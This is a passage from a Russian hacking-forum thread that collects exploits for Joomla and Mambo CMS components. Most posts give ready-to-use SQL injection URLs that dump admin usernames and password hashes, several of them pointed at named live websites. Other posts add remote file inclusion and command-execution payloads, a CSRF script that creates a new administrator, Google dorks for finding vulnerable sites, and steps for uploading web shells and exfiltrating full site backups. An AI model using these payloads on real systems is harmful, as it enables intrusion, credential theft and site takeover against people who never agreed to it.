Форум АНТИЧАТ - Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

Страница 1 из 5

Показывать 40 сообщений этой темы на одной странице

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)

- - Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов (https://forum.antichat.xyz/showthread.php?t=50600)

it's my

06.10.2007 00:48

Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

CMS Joomla!

Хочу начать обзор со слов, что как бы Joomla не считалась одной из самых уязвимых CMS, на мой взгляд, Joomla очень даже не плохой движок со стороны безопасности. Проблема заключается в сторонних компонентах подключаемых к движкам и разработанных левыми (не разработчиками Джумлы) разработчиками. Но блогодаря сторонним компонентам эта CMS становиться интересной «изнутри» (в администраторской панели).

Доступ в администраторскую панель:
Здесь я коснусь двух найденных мною уязвимостей в Джумле.

1. Компонент SimpleFaq 2.х (com_simplefaq) *

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в параметре aid в установочном сценарии Joomla index.php (когда параметр \"option\" установлен в com_simplefaq и параметр task установлен в answer). Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. (c) securitylab.ru

* я позже узнал, что эта уязвимость была найдена до меня

Уязвимые версии 2.х – 2.40

Внешний вид:
http://efots.info/images/10913601.gif

При запросе:

Код:

http://victim.com/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,password,email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/jos_users/*

Вежливо выдает логин, хеш (md5) и мыло:
http://efots.info/images/18549402.gif

Теперь остаётся расшифровать хеш и проходить в администраторскую панель.

Таким же образом можно получить доступ к БД MySQL, запросом:

Код:

http://victim.com/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,User,Password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/mysql.user/*

Ну и соответственно наш милый браузер выдаст следующее:
http://efots.info/images/71574103.gif

2. Компонент ReMOSitory 341RE (com_remository) *
Уязвимость существует из-за недостаточной обработки загружаемых файлов на сервер, и наличия прямого доступа к ним по дефолту.

* Данной уязвимости еще нигде не встречал

Внешний вид:
http://efots.info/images/67777804.gif

Теперь регистрируемся, и идем заливать файл (в нашем случае это шел))) по ссылке «Добавить файл»

После того как файл добавлен он автоматически загружается во временное хранилище (/downloads/uploads/), до одобрения администратора. Но мы ждать не будем и последуем по ссылке http://victim.com/downloads/uploads/ и увидим следующее:
http://efots.info/images/21416405.gif

Открываем... А дальше совсем другая история, которую не раз поднимали в пределах форума.

Администраторская панель.

Вот мы и добрались до намеченной цели, но мало попасть сюда, нужно еще и иметь доступ на добавление/редактирование/удаление файлов. Для этого есть два варианта:

1. В большинстве случаях (на моей практике это 95/100) доступны на запись следующие папки:

Цитата:

media/
administrator/components/
components/
images/stories/
administrator/modules/
modules/
language/
mambots/

А это гуд! Теперь не раздумывая, идем следующим путем: Установка/удаление => Компоненты. И смотря оттого, что именно нужно (а иногда нужно именно всё) устанавливаем следующие компоненты:

JoomlaXplorer 2.0 – подобие FTP сервера с возможностью установки прав на файлы, загрузка/редактирование/удаление файлов. Скрин:
http://efots.info/images/79943006.gif

Причем как можно заметить из скрина доступ обеспечивает не только на директорию сайта, но и если здесь же хостятся другие, то и к другим)))

JoomlaPack 1.1.0 – Компонент для создания архива данных (бэкап БД и Полный бэкап сайта с установочными файлами)
http://efots.info/images/54737907.gif

Здесь ничего сложного нет, просто идем по ссылке «Создать архив сайта», выбираем, что именно нужно создать (архив БД или архив сайта), создаем, потом идем по ссылке «Сохраненные архивы сайта» и скачиваем.

Теперь сайт под нашим чутким руководством)))

2. Использования шелла для поднятия рутовских прав, по этой возможности много статей можно найти пройдя по ссылке www.google.com

На этом всё. Ответственность за использования данной статьи предусмотрено Уголовным Кодексом Российской Федерации. Тема создана в познавательных целях.

JoomlaXplorer 2.0 – тут
JoomlaPack 1.1.0. – тут

Подборка сплоитов для CMS Joomla! И сторонних компонентов – тут – сплоиты (с) milw0rm.com

P.S. И помните каким бы ни был взлом, главное что бы он был безопасным (с) Анфиса Чехова

it's my (с) 2007

blackybr

06.10.2007 13:26

=НЕ ФЛЕЙМИТЬ=

Для того чтобы было легче понять - Joomla - Это как бы 5ая версия Мамбы, которую решили нумеровать и назвать заново.

Насчет узнавания версии в последних релизах вопрос затруднительный.
Файл CHANGELOG.php может просматривать только админ, /includes/version.php тоже недотсупен на чтение. только инклудиься в файлы админки. installation/index.php - обычно удаляется.
Смотрю более старые версии.

Множество модулей для джумлы - мамбы страдают удаленнм - локальным инклудом файлов.
Все из-за того, что переменная
$mosConfig_absolute_path которая инклудится в практически каждом файле никак не проверяется.
Точный список модулей и версий скоро будет готов.

4.5.2.1
mysql >4.1 (Использует подзапросы)
Bug:

Цитата:

/index.php?option=com_content&task=vote&id=1&Itemid =1&cid=1&user_rating=1,rating_sum=[sql]

Mambo 4.5.2.1 hash pass disclosur
Mambo 4.5.2.1 by RST

4.6rc1
Уязвимость в модуле com_frontpage, использует посимвольный benchmark брут полей.
Mambo <= 4.6rc1 'Weblinks' blind SQL injection

1.0
RFI - http://targetsite.com/[path_to_Joomla!]/includes/joomla.php?includepath=[attacker]
(c) http://packetstormsecurity.org/0606-exploits/joomla10.txt

1.0.7
Уязвимость в модуле com_rss, позволяющая провести дос атаку, путь, а также создавать произвольные файлы.
Mambo/Joomla Path Disclosure & Remote DOS Exploit
Создание файла: index.php?option=com_rss&feed=[имя файла]&no_html=1
Путь: index.php?option=com_rss&feed=/&no_html=1
DoS: index.php?option=com_poll&task=results&id=1&mosmsg =DOS@HERE<<>AAA<><>
(с) bugs discovered by Foster (RST/GHC)
В 1.0.8 все исправлено. Также как я посмотрел в этой версии с $mosmsg можно провести xss атаку, фильтр includes/phpInputFilter/class.inputfilter.php пропускает половину тэгов.

1.0.9
Уязвимость в модуле com_frontpage, использует посимвольный benchmark брут полей.
Joomla <= 1.0.9 'Weblinks' blind SQL injection

1.0.10
Уязвимость в com_poll, позволяющая "накрутить" тот или иной вариант ответа
Joomla add unlimited votes

1.5.0
Уязвимость поволяет выполнять произвольные команды на сервере
PoC: http://hacked/libraries/pcl/pcltar.php?g_pcltar_lib_dir=http://hacker/?
Joomla! 1.5.0 Remote file include

1.5 - 1.5 beta 2
Уязвимость позволяет удаленно выполнять комманды на сервере.
Уязвимый код:

Код:

1) components/com_search/views/search/tmpl/default_results.php



line 12: <?php eval ('echo "'. $this->result .'";'); ?>



2) templates/beez/html/com_search/search/default_results.php



line 25: echo '<p>' . eval ('echo "' . $this->result . '";');

Poc

Цитата:

http://$joomlahost/index.php?searchword=";phpinfo();%23&option=com_se arch&Itemid=1
http://$joomlahost/index.php?c=id&searchword=";system($_GET[c]);%23&option=com_search&Itemid=1

Remote command execution in Joomla! CMS 1.5 beta 2

1.5 beta 1,2 + RC1
Уязвимость присутствует в модуле com_contentв трех файлах archive.php,category.php,section.php в параметре filter,
Joomla! 1.5 Beta1/Beta2/RC1 Remote SQL Injection Exploit

Все версии
./administration/ sql injection
http://packetstormsecurity.org/0707-exploits/joomla-sql.txt
PoC:

Цитата:

administrator/popups/pollwindow.php?pollid=1%20union%20select%20passwor d%20from%20jos_users/*

Раскрытие пути:

Цитата:

includes/Cache/Lite/Output.php
includes/patTemplate/patTemplate/Stat.php
includes/patTemplate/patTemplate/OutputFilter.php
includes/patTemplate/patTemplate/OutputCache.php
includes/patTemplate/patTemplate/Modifier.php
includes/patTemplate/patTemplate/Reader.php
includes/patTemplate/patTemplate/TemplateCache.php

Заливка шела в 1.5.* версиях.

Цитата:

1.Заходим в админку http://joomla/administrator/
2. направляемся в компонент инстала-апгрейда
http://joomla/administrator/index.php?option=com_installer
3. Выбираем любой файл в Upload Package File и заливаем его =)
Он будет находитсья в http://joomla/tmp/

Elekt

08.10.2007 18:28

Инклуды в модах/модулях/компонентах

Вложений: 1

Инклуды в модах/модулях/компонентах

Обновлено: 12.01.2008

Софтинка для автоматического чека инклудов прилагается в атаче.

добавлен скрипт удаления повторов и сортировки по алфавиту

l1ght

24.10.2007 13:14

sql в гостевой книге (модуль com_akobook)
v. <=3.42

Цитата:

/index.php?option=com_akobook&Itemid=36&func=sign&a ction=reply&gbid=[sql]

примеры: (вывод в цитатах)

Цитата:

http://www.raznyeludi.com/component/index.php?option=com_akobook&Itemid=36&func=sign&a ction=reply&gbid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19/*

http://games.etherway.ru/index.php?option=com_akobook&Itemid=91&func=sign&a ction=reply&gbid=-1+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19+from+information_schema.tabl es/*

итд

ps для танкистов /itemid,1/ = &itemid=1

+toxa+

24.10.2007 17:20

VULN: /multithumb.php
BUG: include_once($mosConfig_absolute_path."/mambots/content/multithumb/class.img2thumb.inc");
(с) http://www.rootshell-team.com/showthread.php?t=2969

fly	04.11.2007 18:25

CBSMS Mambo Module <= 1.0 ([mosConfig_absolute_path])

# http://www.site.com/[path]/mod_cbsms_messages.php?mosConfig_absolute_path=[evil script]

otmorozok428

06.11.2007 11:07

Как узнать версию Joomla?

Файл configuration.php-dist лежит в корне и сам себя описывает так:

* -------------------------------------------------------------------------
* ЭТОТ ФАЙЛ ДОЛЖЕН ИСПОЛЬЗОВАТЬСЯ ТОЛЬКО ПРИ НЕВОЗМОЖНОСТИ WEB-ИНСТАЛЛЯТОРА
*
* Если вы устанавливаете Joomla вручную, то есть не используете web-инсталлятор,
* то переименуйте этот файл в configuration.php
*
* Например:
* UNIX -> mv configuration.php-dist configuration.php
* Windows -> rename configuration.php-dist configuration.php
*
* Теперь отредактируйте этот файл и установите параметры вашего сайта
* и базы данных.
* -------------------------------------------------------------------------

Проблема, однако, состоит в том, что в 9 из 10 случаев файл переименовать либо забывают, либо просто не считают нужным.

Примеры тому

http://www.joomla.org/configuration.php-dist

http://www.joomla.ru/configuration.php-dist

Между тем, файл содержит чувствительную информацию, позволяющую узнать версию установленного пакета. Так, если установлена

версия 1.0.13, файл содержит строчку:

* @version $Id: configuration.php-dist 7424 2007-05-17 15:56:10Z robs $

версии 1.0.11, 1.0.12

* @version $Id: configuration.php-dist 4802 2006-08-28 16:18:33Z stingrey $

версии 1.0.9, 1.0.10

* @version $Id: configuration.php-dist 3754 2006-05-31 12:08:37Z stingrey $

версия 1.0.8

* @version $Id: configuration.php-dist 2622 2006-02-26 04:16:09Z stingrey $

версии 1.0.5-1.0.7

* @version $Id: configuration.php-dist 506 2005-10-13 05:49:24Z stingrey $

версия 1.0.4

* @version $Id: configuration.php-dist 217 2005-09-21 15:15:58Z stingrey $

версия 1.0.3

* @version $Id: configuration.php-dist 506 2005-10-13 05:49:24Z stingrey $

версии 1.0.1, 1.0.2

* @version $Id: configuration.php-dist 217 2005-09-21 15:15:58Z stingrey $

версия 1.0.0

* @version $Id: configuration.php-dist 47 2005-09-15 02:55:27Z rhuk $

steepX

09.11.2007 23:22

Уязвимость в поиске по сайту в параметре searchword. Дыра является DOM based XSS.

http://site/index.
php?option=com_search&searchword=';alert('XSS')//

Для исполнения кода, пользователь должен сменить количество результатов поиска на одну страницу.
уязвимы версии Joomla! <= 1.0.13

BlackCats

13.11.2007 04:33

а если так:
* @version $Id: configuration.php-dist,v 1.4 2005/11/25 04:46:26 csouza Exp $

какая версия?

смахивает на 1.4 но както меня напрягают числа, в списке выше 2005\10 - это уже 1.5

otmorozok428

15.11.2007 10:10

BlackCats, это у тебя какое-то Mambo (не из последних)... На счёт конкретной версии, сейчас, к сож. ответить не могу. Пока выкладываю данные для

Joomla 1.5.x

1.5.0 Release Candidate 3

* @version $Id: configuration.php-dist 8946 2007-09-18 14:26:22Z louis $

1.5.0 Release Candidate 2

* @version $Id: configuration.php-dist 8290 2007-08-01 14:03:11Z jinx $

1.5.0 Release Candidate 1

* @version $Id: configuration.php-dist 7740 2007-06-13 21:01:25Z laurens $

1.5.0 Beta 2

* @version $Id: configuration.php-dist 6691 2007-02-21 09:29:26Z Jinx $

1.5.0 Beta

* @version $Id: configuration.php-dist 5361 2006-10-07 19:21:08Z Jinx $

chekist

15.11.2007 15:41

дополнение к com_remository
активнаяя xss если можно оставлять коментариии к файлам
xttp://localhost/index.php?option=com_remository&Itemid=30&func=fil einfo&id=4
и при загрузке файла иногда работает пхп инекция
в "Заголовок:" пишем ";phpinfo();//"
<input class='inputbox' type='text' id='filetitle' name='filetitle' size='25' value='' />

Solide Snake

19.11.2007 22:47

Joomla Component JUser 1.0.14 Remote File Inclusion Vulnerability

chekist

20.11.2007 03:43

позавчера нашёл вроде в паблике нету
компонент com_joomradio
google->inurl:com_joomradio inurl : option всего 452 маловато
http://poosk.fm/index2.php?option=com_joomradio&page=show_radio&id =4+and+1=0+union+select+1,concat(username,0x3a,pas sword),3,4,5,6,7+from+jos_users+where+gid=25+or+gi d=24/*

it's my

06.12.2007 09:24

milw0rmv: Mambo/Joomla Component rsgallery <= 2.0b5 (catid) SQL Injection Vuln

В догонку хочется сказать, что на Mambo перфикc mos_, на Joomla jos_

Mambo:

Код:

index.php?option=com_rsgallery&page=inline&catid=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11+from+mos_users--

Joomla:

Код:

index.php?option=com_rsgallery&page=inline&catid=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11+from+jos_users--

Dork:

Код:

Google : "option=com_rsgallery" или inurl:"index.php?option=com_rsgallery"

chekist

26.12.2007 20:22

очень часто в жомле встречается xss но есть проблема сесия жывёт 30 минут поэтому написал активный снифер сначала снифер пытается залить шелл если не получится залить шелл создаётся новый админ

http://slil.ru/25290482

тестил на Joomla 1.0.12

Scipio

29.12.2007 11:17

LIMBO CMS (Lite mambo)

Blind sql-inj

сплоент:http://site/index.php?option=polls&Itemid=0&pollid=[id]/**/and/**/[подзапрос]
где [id] - реально существующий id голосования, [подзапрос] - логическое выражение

на данный момент уязвимы сайты тех. поддержки:

Код:

http://limbo-cms.com.ru/index.php?option=polls&Itemid=0&pollid=177/**/and/**/user()=0x746172656C6B615F61646D696E406C6F63616C686F7374

Код:

http://www.limboportal.com/index.php?option=polls&Itemid=0&pollid=26/**/and/**/1=1

при неправильном варианте, голосование не отображается, т.к. префикс по умолчанию выбирается случайным образом, вместо префикса при выборке в подзапросе надо указывать после FROM %23__[имя таблицы], где [имя таблицы] - имя таблицы без префикса например:

Код:

http://www.xtreme.kz/index.php?option=polls&Itemid=0&pollid=26/**/and/**/substring((SELECT/**/1/**/from/**/%23__users),1,1)=1

iJoomla Magazine

Blind sql-inj

сплоент:http://site/index2.php?option=com_magazine&func=show_magazine& id=[id]+and+[подзапрос]
где [id] - реально существующий id страницы, [подзапрос] - логическое выражение

на данный момент уязвимы сайты производителя:

Код:

http://www.ijoomla.com/index2.php?option=com_magazine&func=show_magazine&id=7+and+substring((select+username+from+jos_users+limit+1,1),1,1)=0x21&Itemid=91

при неправильном варианте отображается другая страница

З.Ы. Нашел сам, так что если вдруг боян, сильно не пинайте, это просто означает, что у вас больше информации чем у меня

chekist

30.12.2007 21:40

с префексом можно не париться, может кто смотрел исходники тот может и заметил что префик обозначается "#__" потом строка передаётся функции setQuery кторая и заменяет "#__" на нужный, выглядеть будет так %23__users

Scipio

31.12.2007 02:18

Цитата:

Сообщение от chekist

Да ты прав, правда на сайте limbo-cms.com.ru это не прокатывает, незнаю почему, а вот на других сайтах работает, но вобщето мож мы с тобой разные версии смотрели, запрос передается не в setQuery а в функцию Execute, которая собственно и заменяет #__ на префикс

chekist

31.12.2007 15:50

работает в том случае если производители сторонних компонентов используют стандартные функции жомлы для общения с базой данных бывают и исключения, но в 90% работает

Solide Snake

01.01.2008 04:44

Joomla Component PU Arcade Remote SQL Injection Exploit

//Exploit

Код:

http://server.com/Path/index.php?option=com_puarcade&Itemid=92&fid=-1%20union%20select%20concat(username,0x3a,password)%20from%20jos_users--

//Текст для поиска:

Код:

inurl:index.php?option=com_puarcade

inurl:/option,com_puarcade/

(c)

Proxyr

11.01.2008 23:28

com_serverstat (компонент Mambo & Joomla)
/Этот компонент используеться для отображения статистики игровых серверов/

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "mosConfig_absolute_path" в сценарии шаблона administrator/components/com_serverstat/templates/template.game.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера. Переменная переданная через GET запрос используеться include. Для удачной эксплуатации уязвимости опция "register_globals" должна быть включена в конфигурационном файле PHP.
Пример:

Код:

http://[host]/administrator/components/com_serverstat/templates/template.game.php?mosConfig_absolute_path=[http://file]

...........................................
а также:
в параметре "mosConfig_absolute_path" в сценарии administrator/components/com_serverstat/install.serverstat.php
Пример:

Код:

http://[host]/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=[http://file]

_kREveDKo_

11.01.2008 23:44

com_serverstat (компонент Mambo & Joomla)
Ну тогда ещё упомянем, что там есть и активная XSS - В поле ника игрока. Если не хватит символов для полноценной атаки (не помню сколько в ник влазит), то можно закончить ник вот так:

Код HTML:

<!--

, потом войти ещё одним игроком в игру с ником начинающимся на

Код HTML:

-->

ну и так далее, до тех пор пока не хватит места...

+toxa+

13.01.2008 21:12

Joomla 1.0.13 CSRF Vulnerability

Цитата:

Severity
========
Mild. It requires an administrator to be logged in and to be tricked into a specially
crafted webpage.

PHP код:


		
			
<script type="text/javascript">

window.onload = function() {

var url = "http://joomlasite.com/joomla/administrator/index2.php";

var gid = 25;

var user = 'custom_username';

var pass = 'custom_password';

var email = 'joe_cool (at) example (dot) com [email concealed]';

var param = {

name: user,

username: user,

email: email,

password: pass,

password2: pass,

gid: gid,

block: 0,

option: 'com_users',

task: 'save',

sendEmail: 1

};

var form = document.createElement('form');

form.action = url;

form.method = 'post';

form.target = 'hidden';

form.style.display = 'none';

for (var i in param) {

try {

// ie

var input = document.createElement('<input name="'+i+'">');

} catch(e) {

// other browsers

var input = document.createElement('input');

input.name = i;

}

input.setAttribute('value', param[i]);

form.appendChild(input);

}

document.body.appendChild(form);

form.submit();

}

</script>

<iframe name="hidden" style="display: none"></iframe>

<img src="http://www.more4kids.info/uploads/Image/Carebears-Cover.jpg">

PS добавляет нового админа с заданным логином, пассом и мылом, если кто не понял...

iddqd

22.01.2008 03:33

JoomlaFlash Component Multiple Remote File Inclusion

Flash Component Multiple Remote File Inclusion

Vulnerable: 2.5.1, 2.5.2

Exploit:

Код:

http://sito.it/administrator/components/com_joomla_flash_uploader/install.joomla_

flash_uploader.php?mosConfig_absolute_path=shell? 



http://sito.it/administrator/components/com_joomla_flash_uploader/uninstall.jooml

a_flash_uploader.php?mosConfig_absolute_path=shell?

ХаЬа	23.01.2008 17:54

Joomla Component NeoRecruit

SQL:
http://[сайт]/index.php?option=com_neorecruit&task=offer_view&id =[SQL инъекция]

Пример:

Код:

http://www.sepangaircraft.com/index.php?option=com_neorecruit&task=offer_view&id=36985



2+UNION+SELECT+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,



20,21,22,23,24,25+FROM+jos_users--

Joomla Component Nice Talk

SQL:
http://[сайт]/index.php?option=com_nicetalk&tagid=[SQL инъекция]

Пример:

Код:

http://www.diariometropolitano.com/rmbs/index.php?option=com_nicetalk&tagid=-1)+UNION+



SELECT+1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15,16,17,18+FROM+jos_use



rs--

Joomla перфикс jos_
Mamba перфикс mos_

iddqd

24.01.2008 18:50

Joomla Multiple Remote File Inclusion

Remote File Inclusion

Vulnerable: com_panoramic version 1.0

PoC:

Код:

http://localhost/path/administrator/components/com_panoramic/admin.panoramic.php?mosConfig_live_site=[evilcode]

Remote File Inclusion

Vulnerable: MOSMediaLite451

PoC:

Код:

http://www.site.net/administrator/components/com_mosmedia/includes/credits.html.php?mosConfig_absolute_path=[shell] 

http://www.site.net/administrator/components/com_mosmedia/includes/info.html.php?mosConfig_absolute_path=[shell] 

http://www.site.net/administrator/components/com_mosmedia/includes/media.divs.php?mosConfig_absolute_path=[shell] 

http://www.site.net/administrator/components/com_mosmedia/includes/media.divs.js.php?mosConfig_absolute_path=[shell] 

http://www.site.net/administrator/components/com_mosmedia/includes/purchase.html.php?mosConfig_absolute_path=[shell] 

http://www.site.net/administrator/components/com_mosmedia/includes/support.html.php?mosConfig_absolute_path=[shell]

Solide Snake

30.01.2008 18:57

Mambo Component Newsletter (listid) Remote SQL Injection

SQL Injection:

Код:

index.php?option=com_newsletter&Itemid=S@BUN&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*

Для поиска вводим:

Код:

allinurl: "com_newsletter"

Mambo Component Fq (listid) Remote SQL Injection

SQL Injection:

Код:

index.php?option=com_fq&Itemid=S@BUN&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*

Для поиска вводим:

Код:

allinurl: "com_fq"

Mambo Component MaMML (listid) Remote SQL Injection

SQL Injection:

Код:

index.php?option=com_mamml&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*

Для поиска вводим:

Код:

allinurl: "com_mamml"

Mambo Component Glossary 2.0 (catid) SQL Injection

SQL Injection:

Код:

index.php?option=com_glossary&func=display&Itemid=s@bun&catid=-1%20union%20select%201,username,password,4,5,6,7,8,9,10,11,12,13,14%20from%20mos_users-

Для поиска вводим:

Код:

allinurl: "com_glossary"

(c)

Solide Snake

31.01.2008 02:15

Mambo Component musepoes (aid) Remote SQL Injection

SQL Injection:

Код:

index.php?option=com_musepoes&task=answer&Itemid=s@bun&catid=s@bun&aid=-1/**/union/**/select/**/0,username,password,0x3a,0x3a,3,0,0x3a,0,4,4,4,0,0x3a,0,5,5,5,0,0x3a/**/from/**/mos_users/*

Для поиска вводим:

Код:

allinurl: "com_musepoes"

Mambo Component buslicense (aid) Remote SQL Injection

SQL Injection:

Код:

index.php?option=com_buslicense&sectionid=9999&Itemid=9999&task=list&aid=-1/**/union/**/select/**/0,username,0x3a,password,4,5,6,7,8,9,10,11,12,13,14/**/from/**/mos_users/*

Для поиска вводим:

Код:

allinurl: "com_buslicense"

Mambo Component Recipes 1.00 (id) Remote SQL Injection

SQL Injection:

Код:

index.php?option=com_recipes&Itemid=S@BUN&func=detail&id=-1/**/union/**/select/**/0,1,concat(username,0x3a,password),username,0x3a,5,6,7,8,9,10,11,12,0x3a,0x3a,0x3a,username,username,0x3a,0x3a,0x3a,21,0x3a/**/from/**/mos_users/*

Для поиска вводим:

Код:

allinurl: "com_recipes"

Mambo Component jokes 1.0 (cat) SQL Injection

SQL Injection:

Код:

index.php?option=com_jokes&Itemid=S@BUN&func=CatView&cat=-776655/**/union/**/select/**/0,1,2,3,username,5,password,7,8/**/from/**/mos_users/*

Для поиска вводим:

Код:

allinurl: "com_jokes"

Mambo Component EstateAgent 0.1 Remote SQL Injection

SQL Injection:

Код:

index.php?option=com_estateagent&Itemid=S@BUN&func=showObject&info=contact&objid=-9999/**/union/**/select/**/username,password/**/from/**/mos_users/*&results=S@BUN

Для поиска вводим:

Код:

allinurl: "com_estateagent"

(c)

it's my

01.02.2008 10:07

Component Catalogshop 1.0b1 SQL Injection Vulnerability

inurl: index.php?option=com_catalogshop
Инъекция:

Код:

index.php?option=com_catalogshop&Itemid=99999999&func=detail&id=-1+union+select+1,2,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13+from+mos_users--

http://www.uralmetall.com/index.php?option=com_catalogshop&Itemid=99999999&func=detail&id=-1+union+select+1,2,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13+from+mos_users--

Component AkoGallery 2.5b SQL Injection Vulnerability

inurl: index.php?option=com_akogallery
Инъекция:

Код:

index.php?option=com_akogallery&Itemid=99999999&func=detail&id=-1+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+mos_users--

http://brodnica.com.pl/powiat/index.php?option=com_akogallery&Itemid=99999999&func=detail&id=-1+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+mos_users--

(с) hackturkiye.com

Mr. P.S.

01.02.2008 17:34

SQL-инъекция в Mambo Component Restaurant

Программа: Mambo Component Restaurant 1.0

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «id» сценарием index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Пример:

Код:

index.php?option=com_restaurant&Itemid=S@BUN&func=detail&id=-1/* */union/**/select/**/0,0,password,0,0,0,0,0,0,0,0,0,username/* */from/**/mos_users/*

(c)

chekist

01.02.2008 22:49

скуль в Garyґs Cookbook 2.3.4 другие версии не смотрел

google: inurl:option inurl:com_garyscookbook (всего 251,000 )

POST http://localhost/joomla/index.php HTTP/1.0
Accept: */*
Referer: http://localhost/joomla/index.php?option=com_garyscookbook&Itemid=&func=de tail&id=1
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Opera 9.95
Host: localhost
Content-Length: 95
Pragma: no-cache

option=com_garyscookbook&Itemid=&func=vote&imgvote =4&id=1,(select username from %23__users where gid=25 or gid=24 limit 1))%23

запрос к бд
INSERT INTO jos_gkb_voting_log (type,date,userid,fileid,ipaddress) VALUES ('3','2008-00-00 00:00:00', 0,[sql],'127.0.0.1');

результаты запроса нигде не отоброжаются
единственный способ эксплуатации посимвольный перебор
p.s. шыпко геморойно дальше не стал ковырять, если у кого получется добавить insert или update плиз отпишытесь

it's my

01.02.2008 22:58

Component NeoReferences 1.3.1 (catid) SQL Injection Vulnerability

inurl: index.php?option=com_neoreferences
Инъекция:

Код:

index.php?option=com_neoreferences&Itemid=27&catid=100500+UNION+SELECT+CONCAT(USERNAME,0x3a,PASSWORD)+FROM+jos_users+LIMIT+1/*

http://www.islamicamagazine.com/index.php?option=com_neoreferences&Itemid=27&catid=100500+UNION+SELECT+CONCAT(USERNAME,0x3a,PASSWORD)+FROM+jos_users+LIMIT+1/*

Mambo Component Mambads 1.5 Remote SQL Injection
inurl: index.php?option=com_mambads
Инъекция:

Код:

index.php?option=com_mambads&Itemid=0&func=detail&cacat=0&casb=0&caid=100500+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(username,0x3a,password),null,null,null,null,null,null,null+from+mos_users--

http://www.vivalavida.org/index.php?option=com_mambads&Itemid=0&func=detail&cacat=0&casb=0&caid=100500+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(username,0x3a,password),null,null,null,null,null,null,null+from+mos_users--

(c) hackturkiye.com

iddqd

02.02.2008 23:38

Mambo Component SOBI2 RC 2.5.3 SQL Injection Vulnerability

PoC:

Код:

http://site.com/path/index.php?option=com_sobi2&Itemid=27&catid=-99999/**/union/**/select/**/0,0,password,0,0,0,0,0,0,0,0,0,username/**/from/**/mos_users/*

chekist

03.02.2008 02:56

Mosets Hot Property v0.9.6

magic_quotes_gpc off
register_globals on

Код HTML:

http://localhost/joomla/components/com_hotproperty/pdf.php?id=10'+and+1=0+union+select+1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,concat(username,0x3a,password),1+from+%23__users+where+gid=25+or+gid=24+limit+1/*

KPOT_f!nd

04.02.2008 04:34

Joomla Component mosDirectory 2.3.2 (catid) Remote SQL Injection Vulnerability

Код:

/index.php?option=com_directory&page=viewcat&catid=-1/**/union/**/select/**/0,concat(username,0x3a,password)/**/from/**/jos_users/*

Поиск бажного компонента: inurl:index.php?option=com_directory
Автор: aNa TrYaGi
Источник: milw0rm.com [2008-02-03]

Mr. P.S.

04.02.2008 19:15

Joomla Component Markplace 1.1.1 Remote Sql Injection Exploit

Автор: SoSo H H (Iraqi-Cracker)
Tested on: Markplace Version 1.1.1 and 1.1.1-pl1
Поиск бажного компонента:
"Marketplace Version 1.1.1"
"Marketplace Version 1.1.1-pl1"
inurl:index.php?option=com_marketplace
Exploit:

Код:

index.php?option=com_marketplace&page=show_category&catid=(SQL)

Пример:

Код:

(SQL)=-1+union+select+concat(username,0x3a,password),2,3+from+jos_users/*

milw0rm.com [2008-02-03]

----------------------------------------------------
HOME : http://www.hackturkiye.com/
AUTHOR : S@BUN :
joomla SQL Injection(com_awesom)

DORKS 1: allinurl :"com_awesom"
EXPLOIT:

Код:

index.php?option=com_awesom&Itemid=S@BUN&task=viewlist&listid=-1/**/union/**/select/**/null,concat(username,0x3a,password),null,null,null,null,null,null,null/**/from/**/mos_users/*

Код:

<name>Awesom</name>

<creationDate>24/05/2004</creationDate>

<author>Madd0</author>

<copyright>This component is released under the GNU/GPL License</copyright>

<authorEmail>madd0@users.sourceforge.net</authorEmail>



<authorUrl>amazoop.sourceforge.net</authorUrl>

<version>0.3.2</version>

<description>Awesom!, or Amazon Web Services for Opensource Mambo, is a component that lets you create lists of products to feature on your Mambo-driven site.<br />

These lists can be customized or can be automatically generated with information provided by Amazon through Amazon Web Services.<br />

Additionally, if you are an Amazon associate, you can configure Awesom to link to Amazon 

using your associate ID in order to earn comissions.

</description>

milw0rm

joomla SQL Injection(com_shambo2)

DORKS 1: allinurl :"com_shambo2"
EXPLOIT:

Код:

